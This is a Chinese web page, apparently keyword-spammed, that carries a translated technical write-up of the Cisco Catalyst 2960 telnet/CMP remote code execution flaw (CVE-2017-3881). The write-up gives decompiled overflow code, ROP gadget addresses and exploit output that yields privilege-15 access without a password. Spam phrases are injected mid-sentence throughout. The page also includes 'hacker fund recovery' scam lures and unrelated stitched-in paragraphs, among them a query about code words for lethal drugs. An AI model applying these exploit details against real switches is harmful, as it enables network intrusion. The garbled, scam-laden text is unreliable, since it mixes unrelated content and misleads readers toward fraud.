手机进入黑客模式-红客大户追款怎么联系-CVE-2017-3881:思科 Catalyst 交换
红客大户追款怎么联系-CVE-2017-3881:思科交换机 Catalyst 交换机远程控制代码执行漏洞剖析
您的Catalyst交换机上是不是开启了telnet? 如果是得话,那就需要小心了。文中将向阅读者详细介绍对于配备了全新固定件的Catalyst 2960交换机的远程控制代码执行漏洞的定义认证进攻技术性。实际的漏洞利用编码能够从这儿免费下载。下列是对17年3月7日美国中情局泄漏的绝密文件中的一个安全性漏洞的利用开发流程的详细描述,除此之外,思科公司于17年3月4日也公布公布了该漏洞的具体情况。可是,截至编写文中时,手机上进到网络黑客方式依然沒有能用的补丁下载。即便如此,還是有一个防范措施的,那便是禁止使用telnet,并代之以应用SSH。
CIA泄露的Vault 7
17年3月7日,联邦调查局的一系列文档被泄漏,并被发布到维基解密上。在其中,一份文档中涉及到了一个危害几款Cisco交换机的远程控制代码执行漏洞。这一漏洞在泄漏的文本文档中的编号为ROCEM。尽管提及的关键技术非常少,但依然造成了大家的留意。
Vault 7的文本文档曝露了具体的漏洞利用编码的检测全过程,可是沒有泄漏漏洞利用的源码。依据泄漏的內容看来,有二点分外导入瞩目:该专用工具能够以互动方式或设定方式起动。其手机上进到网络黑客方式中,互动方式根据telnet推送重力梯度,并可以在同一telnet联接的前后文中马上向网络攻击出示指令shell。下边的內容取自该文本文档:
1
2
3
4
5
6
7
8
910
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
手机上进到网络黑客方式 Started ROCEM interactive session - successful:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[ ] Validating data/interactive.bin
手机上进到网络黑客方式[ ] Validating data/set.bin
[ ] Validating data/transfer.bin
[ ] Validating data/unset.bin
****************************************
Image: c3手机上进到网络黑客方式560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
手机上进到网络黑客方式[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[ ] Connection established
手机上进到网络黑客方式[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#
MLS-Sth# show priv
手机上进到网络黑客方式 Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
手机上进到网络黑客方式 Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.
设定方式。改动交换机运行内存,便于未来能够在不用登陆密码的状况下创建telnet联接。下边的內容取自该文本文档:
手机上进到网络黑客方式
1
2
3
4
5
6
7
8
9
10
11
12
手机上进到网络黑客方式 13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Test set/unset feature of ROCEM
手机上进到网络黑客方式 DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
手机上进到网络黑客方式 Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
手机上进到网络黑客方式[ ] Validating data/interactive.bin
[ ] Validating data/set.bin
[ ] Validating data/transfer.bin
[ ] Validating data/unset.bin
手机上进到网络黑客方式 ****************************************
Image: c3560-ipbase-mz.122-35.S E5
Host: 192.168.0.254
Action: Set
**************************手机进入黑客模式**************
Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
手机进入黑客模式 [*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#
Verified I could telnet and 手机进入黑客模式rx priv 15 without creds:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
手机进入黑客模式Escape character is '^]'.
MLS-Sth#
MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#
在研究此漏洞时,我们发现了一段非常有用的信息,即手机进入黑客模式telnet的调试输出。下面是引自该文档的内容:
1
2
3
4
5
6
7
8
9
10手机进入黑客模式
11
12
13
14
15
16
17
18
19
20
手机进入黑客模式 14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output
1.Enabled debug telnet on DUT
2.Set ROCEM
手机进入黑客模式 3.Observed the following:
000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
手机进入黑客模式 000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
手机进入黑客模式 000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
000471: Jun 3 13:54手机进入黑客模式:09.330: TCP2: Telnet received WILL LINEMODE (34)
000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
手机进入黑客模式 000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
手机进入黑客模式 000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
手机进入黑客模式 000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
手机进入黑客模式 000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
手机进入黑客模式 000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap
请注意该服务在最后一行接收到的CISCO_KITS选项,这是一个非常重要的字符串。
思科的漏洞报告
思科公司于2017年3月17日公布了其交换机中存在的这个漏洞。这份报告是基于Vault 7中的文档:
Cisco IOS和Cisco IOS XE软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备,或者远程执行具有更高权限的代码。
在撰写本文时,除了下段文字之外,仍然没有更多的细节手机进入黑客模式可用:
集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。这个漏洞是由于两个因素共同导致的:
没有将与CMP有关的Telnet选项限制在集群成员之间的内部本地通信中,而是接受和处理通过任何与受影响设备的Telnet连接发送的此类选项,与此同时,也没有正确处理畸形的与CMP有关的Telnet选项。
长话短说,该漏洞允许攻击者利用telnet服务在目标交换机上远程执行代码。但为了应用这个报告,我需要更多的信息。所以我决定深入研究一下思科集群管理协议。
手机进入黑客模式交换机群集
好吧!我搞了两个Catalyst 手机进入黑客模式 2960交换机来研究这个漏洞。集群技术会将交换机设置为主从关系。主交换机能够在从交换机上获得特权命令shell。正如Cisco在其报告中所提到的那样,telnet被用作集群成员之间的命令协议。有关群集的信息可以在这里找到,这里是一个设置群集环境的例子。
现在,我们来考察一下集群成员之间的通信。以下是主交换机的配置:
1
2
手机进入黑客模式 cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx
这会把附近的交换机添加为集群的从交换机。rcommand <num>允许从主交换机的接口上获得从设备的命令接口。这符合设计预期。
1
手机进入黑客模式 2
3
4
5
catalyst1>rcommand 1
catalyst2>who
Line User 手机进入黑客模式 Host(s) Idle Location
手机进入黑客模式 * 1 vty 0 idle 00:00:00 10.10.10.10
Interface &手机进入黑客模式nbsp; User Mode Idle Peer Address
我们手机进入黑客模式来看看rcommand生成的流量:
嘿! telnet流量能干啥? 报告明确指出:
集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。
不错,实际上运行show version可以看到更多的流量:
1
2
catalyst2>show version
手机进入黑客模式 Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)
阿哈!Telnet流量实际上被封装在第2层的LLC数据包中。如果仔细观察的话,在源和目的地字段中就会注意到带有MAC地址的IP数据包。在这些“IP”数据手机进入黑客模式包之内,含有telnet会话的有效TCP帧。
telnet会话通常出现在telnet选项磋商之前,其中包括:终端大小、终端类型等信息。要想了解更多信息,请参考RFC。
在提交catalyst2>消息之前,会向服务器端一个telnet选项:
在这里,您可以看到从主交换机发送到从交换机的telnet选项“CISCO_KITS”。在执行漏洞利用代码期间出现的这个字符串,同样出现在Vault 7文档中,并且一模一样。接下来,我们手机进入黑客模式将深入考察交换机的内部原理。
搞定固件
手机进入黑客模式固件位于交换机的flash:<version>.bin中。
1
2
3
4
catalyst2#dir flash:
Directory of flash:/
手机进入黑客模式 2 -rwx 9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122-55.SE1.bin
手机进入黑客模式 3 -rwx 2487 Mar 1 1993 00:01:53 +00:00 config.text
内置的ftp客户端允许将此固件传输至任意ftp服务器。好,现在我们就借助binwalk来分析和提取该文件的内容:
1
手机进入黑客模式 2
3
4
$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
手机进入黑客模式 112 0x70 bzip2 compressed data, block size = 900k
为了便于对获取的二进制数进行静态分析,我们最好找到固件加载的偏移量。实际上,在引导过程中,该偏移量将打印输出到串行控制台中:
1
2
3
4
Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@
File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed,
手机进入黑客模式 entry point: 0x3000
executing...
这时候,IDA就该上场了。这里的CPU架构是PowerPC 32位BigEndian。下面,我们将这个二进制文件加载到0x3000处:
寻找字符串
还记得前面在群集通信中捕获的字符串CISCO_KITS吗?我们将从这里下手。在通过IDA观察大部分函数后,可以发现针对固件末尾处那些字符串的交叉引用。
“CISCO_KITS”字符串将被return_cisco_kits函数所引用,实际上该函数只是将该字符串作为char 手机进入黑客模式 *返回。我们将重点关注调用return_cisco_kits的call_cisco_kits函数,该函数位于0x0004ED8C。
因为telnet代码对于客户端和服务器而言是对称的,所以我们实际上可以看到发送到服务器端的缓冲区的格式为- %c%s%c%d:%s:%d :。这实际上与发送缓冲区中观察到的流量是一致的:
1
手机进入黑客模式 2
3
4
5
6
7
8
9
10
11
12
13
手机进入黑客模式 14
15
16
17
18
19
20
21
22
23
24
25
手机进入黑客模式 26
27
28
29
if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
手机进入黑客模式 {
if ( telnet_struct->is_client_mode == 1 )
{
cisco_kits_string_2 = (char *)return_cisco_kits();
手机进入黑客模式 int_two = return_2();
tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_手机进入黑客模式struct);
*(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
format1_ret = format_1(
&手机进入黑客模式nbsp; 128,
手机进入黑客模式 (int)&str_buf[8],
手机进入黑客模式 "%c%s%c%d:%s:%d:",
3,
手机进入黑客模式 cisco_kits_string_2,
手机进入黑客模式 1,
&手机进入黑客模式nbsp; int_two,
手机进入黑客模式 tty_str,
&手机进入黑客模式nbsp; 0);
telnet_struct = (telnet_struct *)telnet_send_sb(
手机进入黑客模式 (int)telnet_struct_arg,
手机进入黑客模式 36,
&手机进入黑客模式nbsp;0,
&str_buf[8],
手机进入黑客模式 format1_ret,
手机进入黑客模式 v8,
手机进入黑客模式 手机进入黑客模式 v7,
v6);
手机进入黑客模式 }
}
大家有没有发现,这里有两个%s字符串修饰符,但是在流量样本中实际上只有一个字符串即CISCO_KITS,这是因为第二个字符串是空的,并且位于两个:字符之间。进一步观察函数的控制流程,我注意到处理第二个手机进入黑客模式字符串时(这次是服务器端代码)有一些有趣的行为:
1
2
3
4
5
for ( j = (unsigned __int8)*string_buffer; j !=&手机进入黑客模式nbsp;':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152
{
str_buf[v19++ + 152] = j;
手机进入黑客模式 ++string_buffer;
}
我们发送取自第二个%s字符串中的数据的时候,实际上会一直复制到:字符,并且没有检查位于堆栈上的目标缓冲区的目标边界。这会出现什么情况? 没错, 缓冲区溢出!
让代码运行起来
实际上,要想控制指令指针是很容易的,因为可以用发送的缓冲区来覆盖它。但问题是:堆和(位于堆上的)栈是不可执行的。我的手机进入黑客模式最佳选择是,启用数据和指令缓存。以下内容引自Felix Lindner在BlackHat 2009上的演示文稿:
该ROP上场了
由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重用固件中的现有代码。这种做法的思想是,通过某种方式链接函数的Epilog来完成任意的内存写操作。但等一下,写什么呢? 我们先来看看反编译的0x00F47A34处的函数:
1
手机进入黑客模式 2
3
4
5
6
7
8
9
10
11
12
13
手机进入黑客模式 14
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
{
telnet_struct_var = tty_struct_var->telnet_struct_field;
手机进入黑客模式 ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
privilege_level = ptr_get_privilege_level(telnet_struct_var);//手机进入黑客模式 equals to 1 during rcommand 1
telnet_struct_1 = tty_struct_var->telnet_struct_field;
ptr_telnet_related2 = (void (__fastcall *)(int))手机进入黑客模式some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
ptr_telnet_related2(telnet_struct_1);
手机进入黑客模式 *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;
}
else
手机进入黑客模式 {
//generic telnet session
}
这里发生了一些有趣的事情。首先要强调的是,ptr_is_cluster_mode和ptr_get_privilege_level都是通过引用全局变量间接进行调用的。检查地址为0x00F47B60的代码行,我们发现is_cluster_mode函数的地址是从0x01F24A7处的dword中加载的。类似的,get_privilege_level函数的地址则是从0x3F47B8C处的r3寄存器中加载的。此时,r3的内容则是“残留”在地址0x022659D4 手机进入黑客模式 + 0x28 + 0xC处的一个已经解除引用的指针。
如果ptr_is_cluster_mode调用返回非零值,并且ptr_get_privilege调用返回-1之外的值,那么我们将收到一个telnet shell,并且不需要提供任何登陆凭证。下面的代码用来检查变量privilege_level的值:
如何才手机进入黑客模式能覆盖这些函数指针,让它总是返回所需的正值的呢? 由于堆和栈无法直接执行,所以我不得不重用现有的代码来执行此类的内存写操作。为此,可以使用以下ROP零件:
1
2
3
4
5
6
7
手机进入黑客模式 0x000037b4:
lwz r0, 0x14(r1)
mtlr r0
lwz r30, 8(r1)
手机进入黑客模式 lwz r31, 0xc(r1)
addi r1, r1, 0x10
blr
将is_cluster_mode函数指针加载到r30中,然后加载将该指针覆盖为r31的值。用于覆盖的值是一个始终返回1的函数的地址:
手机进入黑客模式
1
2
3
4
5
6
7
0x00dffbe8:
stw r31, 0x34(r30)
手机进入黑客模式 lwz r0, 0x14(r1)
mtlr r0
lmw r30, 8(r1)
addi r1, r1, 0x10
手机进入黑客模式 blr
完成实际的写操作。
1
2
3
4
5
6
7
手机进入黑客模式8
9
10
11
12
13
14
0x0006788c:
lwz r9, 8(r1)
手机进入黑客模式lwz r3, 0x2c(r9)
lwz r0, 0x14(r1)
mtlr r0
addi r1, r1,&手机进入黑客模式nbsp;0x10
blr
0x006ba128:
lwz r31, 8(r1)
lwz r30, 0xc(r1)
手机进入黑客模式 addi r1, r1, 0x10
lwz r0, 4(r1)
mtlr r0
blr
上面两个零件会把get_privilege_level函手机进入黑客模式数的指针加载到r3中,同时加载一个将该其覆盖为r31的值。目标值是一个返回15的函数的地址:
1
2
3
4
5
6
7
0x0148e560:
手机进入黑客模式 stw r31, 0(r3)
lwz r0, 0x14(r1)
mtlr r0
lwz r31, 手机进入黑客模式0xc(r1)
addi r1, r1, 0x10
blr
这个Epilog完成最终的写操作并返回到合法的执行流程。当然,应该对堆栈结构进行相应的格式化,以便使这个rop链可以正常工作。为了了解能够使该rop链按预期运行的实际堆栈布局,可以参考漏洞利用源码。
运行漏洞利用代码
忙活一天之后,我终于搞定了一个工具,可以用来给手机进入黑客模式一些重要函数指针打补丁的工具,这些函数之所以重要,是因为它们是处理连接和权限的。请注意,漏洞利用代码严重依赖于交换机上所使用的固件版本。对某些不同的固件版本来说,这里的漏洞利用代码很可能会导致设备崩溃。
根据对较旧的固件SE1的静态和动态分析的了解,我们为最新的建议固件12.2(55)SE11构建了一个漏洞利用代码。固件版本之间的唯一区别,在于函数和指针偏移的不同。此外,该漏洞利用代码运行机制使得我们可以轻松地将更改还原。下面举例说明:
手机进入黑客模式 1
2
3
4
5
6
7
8
9
10
11
12
手机进入黑客模式 13
14
15
16
17
18
19
20
21
22
23
24
手机进入黑客模式 25
$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\手机进入黑客模式xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
手机进入黑客模式 $ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
手机进入黑客模式 Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE&手机进入黑客模式nbsp;(fc3)
...
System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin"
...
手机进入黑客模式 cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number : WS-C2手机进入黑客模式960-48TT-L
...
Switch Ports Model SW Version SW Image
手机进入黑客模式 手机进入黑客模式 ------ ----- ----- ---------- ----------
手机进入黑客模式 * 1 50 WS-C2960-48TT-L 12.2(55)SE11 C2960-LANBASEK9-M
Configuration register is 0xF
撤消更改:
手机进入黑客模式 1
2
3
4
5
6
7
8
9
10
手机进入黑客模式 $ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#'
手机进入黑客模式 [+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
手机进入黑客模式 Escape character is '^]'.
User Access Verification
Password:
这个RCE漏洞的POC代码可用于两种固件版本。这个漏洞利用代码的DoS版本可作为metasploit模块使用,适用于Cisco报告中提到的大多数型号的交换机。
我觉得《咱们裸熊》特别的地方是角色手机进入黑客模式性格鲜明互补,极具代表性引起共鸣。去年,美国发布了一个基于DanielChong在线漫。红客大户追款怎么联系
淘宝能让人死的药暗语是什么。腺管堵没堵塞应该去医院做一下b超,不可能一个人手机照片就能检测出来的,腺管堵塞一般可能是腺管里面长结石了,如果是的就需要去医院进行手术治疗。
红客大户追款怎么联系网警追查,只有想和不想抓人的事。无论你用什么方法都是可以找到的。只是花费代价的大小。也就是看你做的恶值不值得他们花那么大代价去抓你。简单举例。
指间的黑客作者:黑色键盘黑客江湖作者:手机进入黑客模式ggh黑客传说作者:月之子巅峰黑客作者:莫水黑客风云作者:摆乌龙黑客神话作者:字典黑客黑客之王。
你好!如果只是出于兴趣、一时冲动的话,只是学学一些工具的使用就够了。如果真想当黑客,建议先学习系统知识,当然不是系统的使用这方面的,从Linux学走吧,红客大户追款怎么联系
真正的黑客不是只会用点工具什么才是黑客?真正的黑客熟练使用DOS各种命令真正的黑客会编程语言,数据库这类的基础真正的黑客会网页制作等都会真正的黑客。
红客大户追款怎么联系看看你的服务器把估计是你服务器被人家日了手机进入黑客模式----------做传奇不找个好点的安全顾问你做啥郁闷那就是要他整个服务器的权限你在这里找是找不到的何况还想要见面,又不是大白菜公开交易装硬件防火墙,那种简单的说是DDOS攻击,洪水攻击明白不?就是很多人用工具同时访问你的IP,发送大量垃圾信息,服务器疲于应付,其他正常用户就无法访问!参考。
标签:
(责任编辑:网络)